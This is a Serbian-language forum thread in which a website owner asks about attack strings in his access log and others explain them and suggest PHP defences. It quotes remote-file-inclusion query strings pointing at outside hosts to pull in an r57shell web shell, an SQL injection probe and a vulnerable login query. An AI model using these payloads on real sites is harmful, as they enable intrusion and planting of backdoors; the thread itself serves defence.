Bezbednost PHP sajta

Pregledajući log pristupa sajtu video sam nekoliko pristupa sa ubačenim delovima koda u QUERY STRING. Jedan izgled QS je sličan ovom dole:

www.imesajta.com?news.php?///?_SERVER[DOCUMENT_ROOT]=http://xxxx.xxxx.xxx.fr/media/id1???

Drugi QS je bio:

www.imesajta.com?news.php?id=15%20order%20by%201-

Šta ovime može da se postigne? Mislim da sam bezbedan ono što sam ja mogao da vidim, ali me interesuje da li sam nešto propustio da proverim. Probao sam te QS-ove i sajt se ponaša predviđeno - dakle odbija da prikaže nešto što ne bi trebao.

Potpis

http://www.mojestudije.info
Svako ima pravo da se kreće i da bude kreten

Upravo ovih dana pokusavam da se zastitim od potencijalnih upada po principu sql injection. Verovatno vec znas, ali ipak cu pomenuti (mozda neko ko cita nije upoznat) jedan primer kako se moze zloupotrebiti post i get u kojima stoje parametri za upit ka bazi.
Recimo logovanje korisnika. Unosi se username i pass, zatim se stingovi ubacuju u query.
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
Cilj je da nakon username postoji nastavak koji ce omoguciti OR ''=''. Na taj nacin nista jednako nista vraca svakako true ili num_rows veci od nula (dobro je staviti ako je jednak jedan jer se i ocekuje samo jedan takav korisnik) sto je uglavnom uslov koji se pokusava ispuniti u sledecih nekoliko linija.
Dakle unosenjem za password:

Dobija se sledece:

Varijacija ima mnogo i sve imaju isti ili slican cilj, a to je da urade nesto za sta korisnik nije autorizovan.

Resenje je da koristis funkcije kao sto su stripslashes i mysql_real_escape_string (mozda jos neke?). Pregledaj sta se izvrsava tamo gde je upucen order itd. Konkretno sa ovim ORDER BY mislim da nista znacajno nije postignuto osim mozda ispipavanja..

@Phikret

Verovatno je neko pustio neki automatizovani skener koji isprobava gomilu eksploita u cilju pronalazenja nekog koji radi kod tebe.


@mls

Za sve sto ide u query obavezno koristi mysql_real_escape_string a ne stripslashes/addslashes: http://shiflett.org/blog/2006/...ersus-mysql-real-escape-string

Potpis

“If you think you are too small to make a difference, try sleeping with a mosquito.” - Dalai Lama
XIV

mls znam za SQL injection ali ovo što je pokušano u prvom QS-u nije SQL injection, dok u drugom jeste. Baš me interesuje za prvi slučaj u kojoj situaciji bi upalilo i šta bi se time postiglo. Znači, on pokušava da postavi vrednost ?_SERVER[DOCUMENT_ROOT] promenljive na svoj domen. Kada bi mu to prošlo, desilo bi se na primer, pošto on pretpostavlja da ja u svom kodu pozivam tu promenljivu i formiram neki link, u stvari linkujem na njegov sajt? E sad me interesuje, kako uopšte može na ovaj način da postavi vrednost promernljive ?_SERVER[DOCUMENT_ROOT] i šta mu znače tri slasha na početku? Malo sam želeo da izanaliziramo ovu vrstu napada kako bih znao na šta sve da računam prilikom planiranja odbrambene strategije za moje sajtove :).

Ivane, kasnije ću da pročitam ovaj članak koji si naveo u vezi sa mysql_real_escape_string.

Pozdrav

Potpis

http://www.mojestudije.info
Svako ima pravo da se kreće i da bude kreten

Ponovljeni su napadi ali sad na ovaj nacin. Dakle posto se na sajtu prosledjuje id vesti (www.imesajta.com/news.php?id=idnews) video sam da sam dobio query string ovakvog oblka www.imesajta.com/news.php?id=ftp://sportfitnessacademia.com.br:[email protected]/reser.php?

Ovaj fajl reser.php moze da se preuzme. To sam i uradio i evo sta je u njemu. P.S. Nadam se da necu nesto da zeznem ako ga uploadujem, promenio sam ekstenziju u .txt.

Primetio sam da mi se u rootu sajta nalaze dva fajla. rshed21.jpg i rshed21.html. Ovaj rshed21 redirektuje na neki sajt koji prodaje vijagre i ostala sranja. To sam primetio pre dva dana i rucno sam brisao fajlove. Nisam jos uvek promenio FTP sifru i primecujem da se svakog dana ti isti fajlovi ponovo pojave. Na brzinu sam pregledao kod php i js fajlova na sajtu i nisam nasao nista sumnjivo. Ocigledno je da je dosao do moje FTP sifre? E sad tu mi je misterija. Prosli put sam u total commanderu imao snimljene sve FTP konekcije i onda mi se na svim sajtovima pojavio onaj js kood o kome je pricano prije 4 ili 5 meseci ovde na ES-u. Nakon toga sam promenio sve FTP sifre i postavio master password na naloge i nisam imao problema. Pre mesec dana sam poceo da koristim FileZilla i tamo imam snimljene 3 FTP konekcije ka tri sajta i nije mi se ni na jednom sajtu pojavila ov dva fajla osim na jednom. Zbog toga pretpostavljam da nije dosao do FTP sifara preko FTP klijenta, jer da je dosao do jedne sifre, dosao bi i do ostalih ubacio bi fajlove u sve sajtove?

edit 28.apr 2010.: Fajl sam otkacio

_{[Ovu poruku je menjao Phikret dana 29.04.2010. u 10:04 GMT+1]}

Potpis

http://www.mojestudije.info
Svako ima pravo da se kreće i da bude kreten

Avast prijavljuje trojanca...

To ti je hakerski alat r57shell, sklanjaj ga odatle.

Potpis

_{"The quieter you become, the more you are able to hear."}
Blog | PowerCMS

Otkacio sam fajl. Dobro, jel moze sad neko da objasni sta je u osnovi tog alata, kako radi i kakve rupe koristi?

Potpis

http://www.mojestudije.info
Svako ima pravo da se kreće i da bude kreten

To ti je kao da ti je neko instalirao TotalCommander na sajt pa ti razgleda datoteke, briše ih i upload-uje nove.

Potpis

_{"The quieter you become, the more you are able to hear."}
Blog | PowerCMS

Miroslave, hvala na informacijama. Samo da napomenem, da taj fajl nije na mom sajtu vec prosledjen kroy URL, pa zbog toga me interesuje kako to moze da se iskoristi i sta se time uopste postize (time sto putanju do tog fajla prosledi preko URL-a koga sam dao prethodno).

Ovo sto sam u prethodnom postu rekao 'otkacio sam fajl' mislio sam na to da sam ga otkacio sa elitesecurity

Potpis

http://www.mojestudije.info
Svako ima pravo da se kreće i da bude kreten

Napadač se nadao da će tvoj sajt preko ....news.php?id=ftp://....
preuzeti tu datoteku kod sebe,
pa će ovaj kasnije probati da je pronađe gde si je snimio i da je pokrene.
Ako sajt nije download-ovao to onda si miran.
Problem nastane kad se takve skripte nekako nađu na tvom sajtu, a napadač zna putanju gde su snimljene.

Potpis

_{"The quieter you become, the more you are able to hear."}
Blog | PowerCMS

Aha, znači to je fora! HVala Miroslave. Iako mi još uvek nije najjasnije kako može neko da očekuje da će moj sajt da preuzme taj fajl? Mislim, koji bi bio scenario da mu to pođe za rukom? Verovatno ako bih u tom id-u iza news.php?id=... prosledjivao putanju do fajla koji treba preko FTP-a da se preuzme?Ali opet, niko ne bi ostavio ba[ toliku rupetinu, valjda bi prethodno izvršio neke provere nad fajlom koji se preuzima...

Potpis

http://www.mojestudije.info
Svako ima pravo da se kreće i da bude kreten

u php.ini
allow_url_fopen = off
allow_url_include = off

i to bi resilo malo zaobislo ovaj problem...

takodje ovaj r57 shell je backdoorovan (salje mail obavestenja na [email protected])

trebalo bi da pogledas skripte koje se vrte na tvom serveru (news.php)

mozda ti u daljem otkrivanju ovih php shell-ova pomogne: http://www.elitesecurity.org/t387225-phpAV-php-cli

Potpis

Free your mind and the ass will follow!
Chaos Security | Exploits | phpAV-v1.1